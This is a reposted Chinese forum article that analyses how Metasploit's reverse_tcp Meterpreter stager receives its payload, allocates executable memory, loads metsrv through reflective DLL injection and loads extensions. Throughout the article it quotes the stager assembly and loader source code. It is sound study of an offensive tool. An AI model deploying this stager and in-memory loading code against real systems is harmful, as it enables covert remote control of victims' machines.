Meterpreter技术原理:载荷执行

Meterpreter是Metasploit Framework提供的最常用的攻击载荷(payload)之一,因其功能强大、扩展性好而深受广大渗透测试人员的喜爱。关于Meterpreter的使用方法、免杀技巧等网上已经有很多教程,本文以32位reverse_tcp payload为例,结合源码,分析梳理Meterpreter载荷执行流程和原理。


0x00 流程总览

通过msfconsole生成的reverse_tcp shellcode,其实就是一个stager,这段shellcode的功能是连接MSF,接收MSF发送回来的payload,利用Reflective Dll Injection技术在内存中直接加载payload。

Meterpreter技术原理:载荷执行_第1张图片


0x01 reverse_tcp shellcode分析

代码位于:

lib/msf/core/payload/windows/reverse_tcp.rb

#

# Generate and compile the stager

#

def generate_reverse_tcp(opts={})

combined_asm = %Q^

cld                    ; Clear the direction flag.

call start   ; Call start, this pushes the address of'api_call' onto

the stack.

#{asm_block_api}

start:

pop ebp

#{asm_reverse_tcp(opts)}

#{asm_block_recv(opts)}

^

Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string

end

shellcode大致可以分为三个部分,其中#{asm_block_api}是根据函数hash搜索函数地址并调用,代码位于lib/msf/core/payload/windows/block_api.rb;#{asm_reverse_tcp(opts)}创建TCP连接,#{asm_block_recv(opts)}接收和存储MSF发送过来的数据,跳到接收数据的起始地址进入bootstrap,这两部分代码位于:

/lib/msf/core/payload/windows/reverse_tcp.rb

call start

#{asm_block_api}

Start:

pop ebp

将#{asm_block_api}的地址保存在ebp中,以后只需push 函数的hash值,call ebp即可调用该函数。

下面是#{asm_block_recv(opts)}部分的代码:

recv:

; Receive the size of the incoming second stage...

push byte 0 ; flags

push byte 4 ; length = sizeof( DWORD );

push esi               ; the 4 byte buffer on the stack to hold the second stage length

push edi               ; the saved socket

push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )

call ebp               ; recv( s, &dwLength, 4, 0 );

; Alloc a RWX buffer for the second stage

mov esi, [esi]         ; dereference the pointer to the second stage length

push byte 0x40 ; PAGE_EXECUTE_READWRITE

push 0x1000 ; MEM_COMMIT

push esi               ; push the newly recieved second stage length.

push byte 0 ; NULL as we dont care where the allocation is.

push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )

call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

; Receive the second stage and execute it...

xchg ebx, eax          ; ebx = our new memory address for the new stage

push ebx               ; push the address of the new stage so we can return into it

read_more:               ;

push byte 0 ; flags

push esi               ; length

push ebx               ; the current address into our second stage's RWX buffer

push edi               ; the saved socket

push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )

call ebp               ; recv( s, buffer, length, 0 );

add ebx, eax           ; buffer += bytes_received

sub esi, eax           ; length -= bytes_received, will set flags

jnz read_more          ; continue if we have more to read

ret                    ; return into the second stage

先接收4字节的length,调用VirtualAlloc分配具有PAGE_EXECUTE_READWRITE属性的内存用于保存payload,xchg ebx,eax;push ebx将内存地址压入栈中,最后通过ret指令从栈里弹出地址,跳入该地址执行。这里edi保存的是socket。


0x02 payload分析

MSF发送过来的payload分为三个部分。第一部分是长度4字节的length,表示后面两部分的总大小;第二部分是修改了DOS头部的metsrv.x86.dll;第三部分是配置数据。

Meterpreter技术原理:载荷执行_第2张图片

MSF把metsrv.x86.dll的DOS头部修改为一段bootstrap,代码位于:

/lib/msf/core/payload/windows/meterpreter_loader.rb

def asm_invoke_metsrv(opts={})

asm 

= %Q^

; prologue

dec ebp               ; 'M'

pop edx               ; 'Z'

call $+5 ; call next instruction

pop ebx               ; get the current location (+7 bytes)

push edx

; restore edx

inc ebp               ; restore ebp

push ebp              ; save ebp for later

mov ebp, esp          ; set up a new stack frame

; Invoke ReflectiveLoader()

; add the offset to ReflectiveLoader() (0x????????)

add ebx, #

{"0x%.8x" % (opts[:rdi_offset] - 7)}

call ebx              ; invoke ReflectiveLoader()

; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

; offset from ReflectiveLoader() to the end of the DLL

add ebx, #

{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

^

unless opts[:stageless] || opts[:force_write_handle] == true

asm << %Q^

mov [ebx], edi        ; write the current socket/handle to the config

^

end

asm << %Q^

push ebx              ; push the pointer to the configuration start

push 4 ; indicate that we have attached

push eax              ; push some arbitrary value for hInstance

call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

^

End

dec ebp               ; 'M'

pop edx               ; 'Z'

两条无效指令仅仅是为了恢复DOS头部标志。

         call $+5 ; call next instruction

pop ebx               ; get the current location (+7 bytes)

将当前指令的地址保存在ebx中:

push edx              ; restore edx

inc ebp               ; restore ebp

还原前面dec ebp,pop edx两条指令:

         add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}

call ebx              ; invoke ReflectiveLoader()

MSF计算出ReflectiveLoader函数相对于PE文件头部的偏移,减去前三条指令占用的7字节,再加上ebx,得到ReflectiveLoader函数在内存中的地址。

Reflective DLL Injection是一种在内存中直接加载DLL的技术。这里不再讲述细节,看雪论坛、github都有不少相关代码和教程。实现步骤大致如下:

1、根据IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage的大小分配一片内存。

2、根据IMAGE_SECTION_HEADER的信息将各section复制到新的内存中。

3、处理导出表。

4、处理重定位表。

5、以DLL_PROCESS_ATTACH为参数调用 DllMain。

add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

ebx指向第三部分配置数据。其数据结构定义在metasploit-payloads/c/meterpreter/source/common/config.h:

typedef struct _MetsrvConfig

{

MetsrvSession session;

MetsrvTransportCommon transports[1];///! Placeholder for 0 or more transports

// Extensions will appear after this

// After extensions, we get a list of extension initialisers

// \x00

// \x00

// \x00

} MetsrvConfig;

typedef struct _MetsrvSession

{

union

{

UINT_PTR handle;

BYTE padding[8];

} comms_handle; ///! Socket/handle for communications (if there is one).

DWORD exit_func;///! Exit func identifier for when the session ends.

int expiry; ///! The total number of seconds to wait before killing off the session.

BYTE uuid[UUID_SIZE]; ///! UUID

BYTE session_guid[sizeof(GUID)];///! Current session GUID

} MetsrvSession;

typedef struct _MetsrvTransportCommon

{

CHARTYPE url[URL_SIZE]; ///! Transport url:  scheme://host:port/URI

int comms_timeout;///! Number of sessions to wait for a new packet.

int retry_total;///! Total seconds to retry comms for.

int retry_wait; ///! Seconds to wait between reconnects.

} MetsrvTransportCommon;

其中transports是个MetsrvTransportCommon数组,meterprter会循环尝试所有transports进行连接,在这个例子中只有一个TCP transport。

mov [ebx], edi        ; write the current socket/handle to the config

push ebx              ; push the pointer to the configuration start

push 4 ; indicate that we have attached

push eax              ; push some arbitrary value for hInstance

call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

完成内存加载DLL之后,bootstrap以DLL_METASPLOIT_ATTACH为参数调用DllMain,从这里开始就完全进入了metsrv.x86.dll的代码中。

参见:

https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter

执行流程大致是:

DllMain--->MetasploitDllAttach--->Init--->server_setup

在server_setup函数中根据MetsrvTransportCommon数组创建transports,注册命令分发函数,加载扩展,最后进入server_dispatch循环,接收处理MSF发送过来的命令。

Meterpreter通过Command结构体的数组和链表维持两个命令分发表(Dispatch Table)。

typedef struct command

{

LPCSTR           method; ///< Identifier for the command.

PacketDispatcher request;///< Defines the request handler.

PacketDispatcher response; ///< Defines the response handler.

// Internal -- not stored

struct command *next; ///< Pointer to the next command in the command list.

struct command *prev; ///< Pointer to the previous command in the command list.

} Command;

其中method为命令字符串,request,response为命令处理函数。

一个命令分发表是Command baseCommands[]数组,可处理migrate、shutdown等命令,这个数组无法扩展;另一个是Command* extensionCommands指针指向的命令分发表,这是一个链表,可通过command_register函数将其余Command和扩展中的Command动态插入链表中。


0x03 Meterpreter扩展加载

Meterpreter有两种方式接收扩展。在早期的版本中,MSF将stdapi和pri两个扩展与payload一同发送,由reverse_tcp shellcode接收。数据包格式如下:

MetsrvExtension.size

Extension1.dll

MetsrvExtension.size

Extension2.dll

MetsrvExtension.size = 0

initData

typedef struct _MetsrvExtension

{

DWORD size; ///! Size of the extension.

BYTE dll[1];///! Array of extension bytes (will be more than 1).

} MetsrvExtension;

在server_setup函数中调用load_stageless_extensions加载扩展:

while (stagelessExtensions->size > 0)

{

dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);

HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);

load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);

stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);

}

根据MetsrvExtension.size大小读取Dll数据,与meterpreter自身的加载方式相同,扩展采用了ReflectiveLoader技术在内存中加载:获取ReflectiveLoader函数地址并调用,最后调用扩展导出函数InitServerExtension扩充命令分发表。

另一种方式是通过load命令加载,例如“load mimikatz”。处理load命令的函数是request_core_loadlib,同样采用了ReflectiveLoader技术。

// If the library is not to be stored on disk, 

if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))

{

// try to load the library via its reflective loader...

library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);

if (library == NULL)

{

// if that fails, presumably besause the library doesn't support

// reflective injection, we default to using libloader...

library = libloader_load_library(targetPath,

dataTlv.buffer, dataTlv.header.length);

}

else

{

bLibLoadedReflectivly = TRUE;

}

res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;

}

// If this library is supposed to be an extension library, try to

// call its Init routine

if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)

{

res = load_extension(library, bLibLoadedReflectivly, remote, response, first);

}

0x04 参考资料

https://github.com/rapid7/metasploit-payloads

Meterpreter 载荷执行原理分析

Deep Dive Into Stageless Meterpreter Payloads



原文作者:lollipop

原文链接:https://bbs.pediy.com/thread-247616.htm

转载请注明:转自看雪学院


更多阅读:

1、[原创] PEDIY-JD CTF 2018 Windows CrackMe 题目及设计思路

2、[原创]觉醒之战Ⅰ:洞察HW程序员的脑洞

3、[原创]几种常见的注入姿势

4、[翻译]StaDynA:解决Android APP安全分析中的动态代码更新问题

你可能感兴趣的:(Meterpreter技术原理:载荷执行)